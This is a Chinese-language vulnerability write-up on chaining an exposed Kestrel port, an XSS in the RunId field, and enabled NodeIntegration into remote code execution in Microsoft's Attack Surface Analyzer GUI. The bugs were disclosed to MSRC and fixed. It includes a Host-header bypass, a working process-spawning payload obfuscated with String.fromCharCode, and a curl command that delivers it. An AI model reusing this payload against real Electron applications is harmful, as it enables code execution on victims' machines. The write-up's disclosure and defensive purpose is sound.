内容简介:概述本文主要介绍我如何发现三个漏洞,并将它们共同利用,从而在微软的攻击分析器(Attack Surface Analyzer)GUI版本中实现远程代码执行(RCE)的过程。微软的攻击分析器使用Electron.Net将内部Kestrel Web服务器绑定到0.0.0.0。如果允许绕过Windows操作系统的防火墙,或者在没有防火墙的Windows操作系统上,那么远程攻击者就可以连接到该操作系统并访问应用程序。Web应用程序容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个具有嵌入的JavaScript
概述
本文主要介绍我如何发现三个漏洞,并将它们共同利用,从而在微软的攻击分析器(Attack Surface Analyzer)GUI版本中实现远程代码执行(RCE)的过程。
微软的攻击分析器使用Electron.Net将内部Kestrel Web服务器绑定到0.0.0.0。如果允许绕过Windows操作系统的防火墙,或者在没有防火墙的Windows操作系统上,那么远程攻击者就可以连接到该操作系统并访问应用程序。Web应用程序容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个具有嵌入的JavaScript的runID,并由受害者使用攻击分析器Electron应用程序执行。
Electron.NET没有将NodeIntegration标志设置为False,这将允许JavaScript Payload在受害者的计算机上派生进程。
背景
大约在一个月之前,有人发布了一个微软新版本 工具 的链接。
我的老板Matt表示:
这是与John Lambert在休假期间共同写下的第一个版本。
备注:在这里,可以看到他们关于该工具的对话,以及演示文稿的内容:
https://twitter.com/JohnLaTwC/status/1141765341061627904
需要说明的是,我之前从未见过这个工具,但是我使用了一个基本上完成相同工作的内部工具。
什么是攻击分析器(ASA)?
根据微软官方给出的文档:
攻击分析器(Attack Surface Analyzer)会在安装其他软件产品之前和之后,获取系统状态的快照,并展示系统攻击面许多关键元素的更改情况。
我们在安装应用程序或服务的之前和之后运行攻击分析器,随后,可以比较安装前后的运行结果,从而明确应用程序在计算机上安装的内容。
攻击分析器(ASA)通常以root或admin身份运行,因为应用程序需要尽可能多的访问权限,以监视并记录对计算机的更改。
基于Electron实现
该应用程序的最新版本基于Electron。Electron是一个将Web应用程序封装为桌面应用程序的框架。我们可以将其视为Chromium实例,打开在本地运行的Web应用程序。要了解有关Electron的更多信息,可以挑选众多教程中的一个进行阅读。
Electron应用程序非常流行。这篇文章是我在VS Code中撰写的,而这正是另外一个Electron应用程序。
攻击分析器使用Electron.NET,这是一个带有嵌入式ASP.NET核心应用程序的“普通”Electron应用程序包装器。我对这两种框架的内部工作原理都不是很熟悉,但看起来,其运行的是本地Kestrel Web服务器,然后通过Electron打开一个ASP.NET Web应用程序。
运行攻击分析器
我下载了攻击分析器(ASA)2.0.143版本,并在具有流行版本IE浏览器的Windows虚拟机中启动。攻击分析器应该以管理员身份运行,以便最大程度地监控和分析操作系统和应用程序。
在管理员命令提示符中运行攻击分析器之后,我看到出现了Windows防火墙警告。
这非常奇怪。为什么本地Electron应用需要打开防火墙端口?根据命令提示符,我找到了罪魁祸首。
C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141> Electron Socket IO Port: 8000 Electron Socket started on port 8000 at 127.0.0.1 ASP.NET Core Port: 8001 stdout: Use Electron Port: 8000 stdout: Hosting environment: Production Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\ Now listening on: http://0.0.0.0:8001 Application started. Press Ctrl+C to shut down.
Kestrel Web服务器正在侦听8001端口上的所有接口。这个端口不是静态的,我们可以在应用程序的源代码中看到它从8000端口开始,并使用前两个可用的端口。第一个将由Electron使用,第二个由Kestrel Web服务器使用。在最典型的情况下,这两个端口是8000和8001。
Electron.NET/ElectronNET.Host/main.js#L141:
function startAspCoreBackend(electronPort) { // hostname needs to be localhost, otherwise Windows Firewall will be triggered. portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) { console.log('ASP.NET Core Port: ' + electronWebPort); loadURL = `http://localhost:${electronWebPort}`; const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`]; let binaryFile = manifestJsonFile.executable; const os = require('os'); if (os.platform() === 'win32') { binaryFile = binaryFile + '.exe'; } let binFilePath = path.join(currentBinPath, binaryFile); var options = { cwd: currentBinPath }; // Run the binary with params and options. apiProcess = process(binFilePath, parameters, options); apiProcess.stdout.on('data', (data) => { console.log(`stdout: ${data.toString()}`); }); }); }
这些端口将作为命令行参数传递给二进制文件。二进制文件位于名为executable的密钥中,该密钥位于AsaGui-windows-2.0.141/resources/app/bin/electron.manifest.json:
{ "executable": "AttackSurfaceAnalyzer-GUI" }
使用procmon(过滤器的进程名称设定为“AttackSurfaceAnalyzer-GUI”,或使用“工具 – 进程树”),我们可以看到动作中的参数。
AttackSurfaceAnalyzer-GUI.exe /electronPort=8000 /electronWebPort=8001
我们可以手动跳转到localhost:8001,在浏览器中查看应用程序,并与之进行交互。
漏洞1:监听所有接口
Kestrel Web服务器将监听所有接口。如果它获得了打开端口的权限,或者实际上不存在防火墙(在Windows上已经禁用防火墙,或者在没有打开防火墙的情况下运行系统),那么任何人都可以从外部连接它。
我在虚拟机和主机之间创建了一个仅限主机连接的网络接口。在主机浏览器访问192.168.56.101:8001的虚拟机IP之后,显示出如下错误提示:
HTTP错误400:请求的主机名无效。
在Burp Suite中,也出现相同的错误信息:
HTTP/1.1 400 Bad Request Connection: close Date: Tue, 21 May 2019 20:14:36 GMT Content-Type: text/html Server: Kestrel Content-Length: 334 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Bad Request</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD > <BODY><h2>Bad Request - Invalid Hostname</h2> <hr><p>HTTP Error 400. The request hostname is invalid.</p> </BODY></HTML>
需要注意其中的Server: Kestrel响应头部,这并不算是真正的秘密信息。
Kerstel的主机过滤
Kestrel又一个主机过滤中间件。关于该中间件,具体说明可以参考:
ASP.NET内核中的Kestrel Web服务器实现 – 主机过滤
它通过Host头部过滤传入的请求。我们可以在Burp Suite中使用简单的Proxy(代理) > Options(选项) > Match and Replace(匹配和替换)规则将我们请求的主机头部从192.168.56.101:8001替换为localhost:8001并远程访问Web应用程序。
通过AllowedHosts在AsaGui-windows-2.0.141/resources/app/bin/appsettings.json中启用此设置:
{ "Logging": { "LogLevel": { "Default": "Warning" } }, "AllowedHosts": "localhost", "ApplicationInsights": { "InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef" } }
漏洞2:跨站脚本攻击(XSS)
该应用程序并没有很多注入点,因为用户的输入非常有限。我们可以对其进行扫描,并分析扫描结果。我们可以在特定路径中导出结果并创建报告。
Run Id几乎是可以接收用户输入的唯一位置。我们可以尝试一个基本的注入脚本,并提交一个来运行。提交运行时,可以选择一些简单的功能,例如Certificates(证书),以便快速运行。
注意:Run Ids存储在 SQLite 数据库中,每个应用程序必须是唯一的。
XSS根本原因分析
现在,提交我们之前运行的请求。
http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>& File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true
随后,应用程序调用GetCollectors以获取有关当前运行和显示进程的信息。
http://192.168.56.101:8001/Home/GetCollectors
对应用程序的响应是一个包含JSON对象的字符串。我们测试运行的优化后版本是:
{ "RunId": "<script>alert(1)</script>", "Runs": { "CertificateCollector": 3 } }
RunId的值将直接注入到网页中。其根本原因是在js/Collect.js:174中:
function GetCollectors() { $.getJSON('GetCollectors', function (result) { var data = JSON.parse(result); var rundata = data.Runs; var keepChecking = false; var anyCollectors = false; var icon, midword; $('#ScanStatus').empty(); if (Object.keys(rundata).length > 0) { // INJECTION $('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" })); } // Removed }); }
data.RunId没有验证输入,并且也没有对输出进行编码。值得关注的是,ID看起来在Result选项卡中是以编码后的形式进行输出。我并不是Lewis Ardern(一位非常擅长JavaScript的研究人员),因此这个简单的Payload可以使用让我非常开心。
虚拟机中来自远程Payload的XSS
我们的反射性XSS几乎没有什么实际用途。但仔细一想,似乎并不是完全没有价值。如果攻击者可以让潜在受害者用户单击指向localhost:8001的链接并提交Payload,那么就可以在虚拟机内部的攻击分析器或浏览器中实现XSS。但实际上,并不是那么好用。
但是,XSS在运行攻击分析器Electron应用程序的虚拟机中持续存在。如果没有提交新的运行,可以在虚拟机的攻击分析器Electron应用程序中导航到“Scan”(扫描)选项卡,或者再次单击它,就可以看到警告内容。
当我们导航至“Scan”选项卡时,应用程序将检索最新提交的运行信息,也就是我们从主机虚拟机提交的信息,并执行注入的Payload。这意味着,攻击者可以通过8001端口连接到应用程序,提交XSS,然后当我们在本地使用时,就会在攻击分析器中执行远程提交的命令。
漏洞3:通过NodeIntegration将XSS转换为RCE
提到Electron,我立刻就联想到了远程代码执行(RCE)。有很多关于如何在Electron中将跨站脚本攻击(XSS)转换为远程代码执行(RCE)的文章。其中,对于Electron.NET来说,当NodeIntegration启用时,就很容易实现远程代码执行。
WebPreferences.cs:
/// <summary> /// Whether node integration is enabled. Default is true. /// </summary> [DefaultValue(true)] public bool NodeIntegration { get; set; } = true;
更多信息请参考:
Electron安全 – 不要为远程内容启用Node.js集成
这意味着,我们可以利用跨站脚本攻击,在运行攻击分析器的虚拟机中派生进程。需要注意的是,存在NodeIntegration绕过,因此如果只是禁用它可能还不足够。
远程代码执行Payload
下面是Electron典型的将XSS转换到RCE Payload的方式。我们在Google上搜到了一段代码,并直接使用。
var Process = process.binding('process_wrap').Process; var proc = new Process(); proc.onexit = function(a,b) {}; var env = process.env; var env_ = []; for (var key in env) env_.push(key+'='+env[key]); proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false, detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'}, {type:'ignore'}]});
使用JavaScript eval String.fromCharCode编码器将其转换为以下内容。然后从主机的浏览器中提交带有Payload的新运行作为Run Id。需要注意的是,我添加了一个伪造的id元素,以使每个Payload唯一。
<img id="5" src=x onerror=eval(String.fromCharCode(118,97,114,32,80,114,111,99, 101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103, 40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101, 115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111, 99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32, 102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32, 101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114, 32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101, 121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107, 101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46, 115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39, 44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100, 111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58, 102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44, 101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91, 123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101, 58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110, 111,114,101,39,125,93,125,41,59))>
我们也可以通过这个curl命令,在本地提交Payload:
curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection? Id=<img%20id=%225%22%20src=x%20onerror=eval(String.fromCharCode(118,97,114,32,80, 114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105, 110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99, 101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111, 99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102, 117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110, 118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101, 110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32, 105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43, 39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97, 119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103, 115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86, 101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115, 101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97, 105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101, 58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111, 114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125, 41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true"
在虚拟机中,切换回“Scan”选项卡,或者单击以重新加载,我们就可以看到弹出的计算器。
顺便说一下,procmon中运行calc的命令行看起来像是一个颜文字。
从主机注入Payload:
在本地注入Payload:
攻击方式优缺点
1、攻击分析器通常以Admin身份运行,这使得攻击分析器可以更好地了解操作系统,并为我们提供更好的结果。这意味着,我们的远程代码执行也是以管理员的身份来执行命令。
2、最常见的端口是8000和8001。除非用户在这些端口上运行其他业务,否则攻击者很容易发现运行易受攻击版本攻击分析器的计算机。
3、攻击分析器通常会在单次使用的虚拟机上运行,我们并不会在prod虚拟机上留下应用程序的指纹。但是,这些虚拟机仍然与某些位置相连。
修复方案
1、不要将Web浏览器绑定到所有接口。
2、在进程页面上输出编码后的Run Ids。
3、在Electron.NET上启用NodeIntegration和其他的Electron防御机制,详细方法请查阅 “安全性、本地功能和用户责任” 。
上述问题已经在2019年5月22日提交至微软安全响应中心。
漏洞修复
1、NodeIntegration已禁用,并且ContextIsolation已启用: #218
2、不监听所有接口 – 位于Gui/Properties/launchSettings.json中: #220
3、对URI组件中的runId进行编码 – 位于Gui/wwwroot/js/Collect.js: #220
时间线
2019年5月22日 报告漏洞
2019年5月22日 获得微软致谢
2019年5月28日 微软安全响应中心要求具体解释漏洞情况
2019年6月6日 微软安全响应中心确认漏洞修复方式可行性
2019年6月14日 确认修复
2019年6月18日 公开披露
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 知名黑客组织Anonymous出手,数十个加蓬政府网站被攻陷
- 攻防最前线:勒索软件Dharma近期已攻陷上百个希腊网站
- 手写一个词法分析器
- React 性能分析器介绍
- Elasticsearch(八)【NEST高级客户端--分析器】
- Elasticsearch(八)【NEST高级客户端--分析器】
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。